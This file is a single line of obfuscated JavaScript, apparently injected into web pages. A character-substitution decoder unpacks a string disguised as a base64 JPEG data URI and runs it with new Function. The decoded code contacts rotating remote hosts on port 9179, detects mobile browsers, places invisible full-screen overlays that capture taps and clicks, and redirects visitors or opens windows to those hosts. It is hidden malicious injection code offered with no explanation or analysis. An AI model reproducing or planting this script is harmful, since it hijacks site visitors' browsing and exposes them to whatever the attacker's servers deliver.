!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();